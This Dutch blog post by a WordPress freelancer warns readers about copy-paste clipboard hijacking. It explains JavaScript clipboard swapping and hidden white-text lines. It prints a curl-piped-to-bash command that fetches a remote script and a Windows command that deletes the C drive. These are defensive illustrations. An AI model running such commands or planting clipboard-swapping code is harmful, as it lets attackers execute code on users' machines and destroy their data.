Veiligheidsrisico: kopieer géén commando’s van webpagina’s

Veiligheidsrisico: kopieer géén commando’s van webpagina’s

Als je, net zoals ik, regelmatig bezig bent met WordPress, kan het voorkomen dat je af en toe een hulpartikel (zoals deze) gebruikt. Bevat zo’n artikel code die je in bijvoorbeeld een console moet copy-pasten? Let dan goed op!

Wat is er aan de hand?

Ik zou natuurlijk meteen kunnen uitleggen wat het probleem is met het kopiëren van stukjes code die je vervolgens direct in een terminal plakt. Toch denk ik dat het beter is als je dit eerst zelf ervaart. Ga hiervoor naar de demo gemaakt door GitHub-gebruiker marco97pa en kopieer de tekst echo “This code looks safe!”. Als je deze code vervolgens in een willekeurige tekstbewerker plakt, blijkt dat je eigenlijk het volgende hebt gekopieerd:

curl https://raw.githubusercontent.com/marco97pa/copy-paste-hack-js/master/bad_script.sh | bash

Dit is een heel ander commando! Ik hoef je waarschijnlijk niet uit te leggen hoeveel schade iemand met deze exploit kan aanrichten, maar om het toch even te illustreren: rd/s/q/ C:\ verwijdert de complete C-schijf van een Windowscomputer zonder dat verdere toestemming nodig is.

Hoe werkt dit?

De meeste versies van deze exploit werken met een stukje JavaScript dat wordt gebruikt om te detecteren wanneer een bezoeker een stukje tekst wil kopiëren. Op dat moment wordt dan niet het daadwerkelijke tekstje gekopieerd, maar wordt het JavaScript-commando e.clipboardData.setData gebruikt om de inhoud van het klembord te veranderen.

Er zijn ook exploits die gebruikmaken van malafide coderegels die in witte letters tussen bonafide coderegels worden geplaatst. Een voorbeeld daarvan vind je hieronder:

echo “Ik ben een bonafide coderegel.” \n
echo “Ik ben een malafide regel die stiekem wordt gekopieerd en dus ook wordt uitgevoerd.” \n
echo “Ik ben weer een bonafide coderegel.” \n

Deze exploit is uiteraard makkelijker te detecteren dan de JavaScript-versie.

Hoe voorkom ik dat ik slachtoffer wordt van deze exploit?

Da’s heel simpel: plak gekopieerde code nooit, maar dan ook nooit, direct in een terminal- of consolevenster. Je kunt het in plaats daarvan beter eerst in een tekstbestandje plakken, zodat je zeker weet dat het doet wat het belooft.

Virusscanners detecteren sommige JavaScript-versies. Toch glippen een boel variaties door de vingers van menig betrouwbare virusscanner, dus blijf altijd zelf opletten.

Heb je vragen naar aanleiding van dit artikel? Laat dan een reactie achter of stuur me een mailtje via info@stachredeker.nl.

AVG waarschuwt me voor een mogelijk veiligheidsrisico
Sommige versies worden door virusscanners ontdekt en onschadelijk gemaakt.

Over de auteur

Stach Redeker

Stach Redeker

Stach Redeker is freelance WordPress-specialist. Hij bouwt sinds 2014 websites en webshops met WordPress. Daarnaast studeert hij Electrical Engineering aan de Universiteit Twente.

Scroll naar boven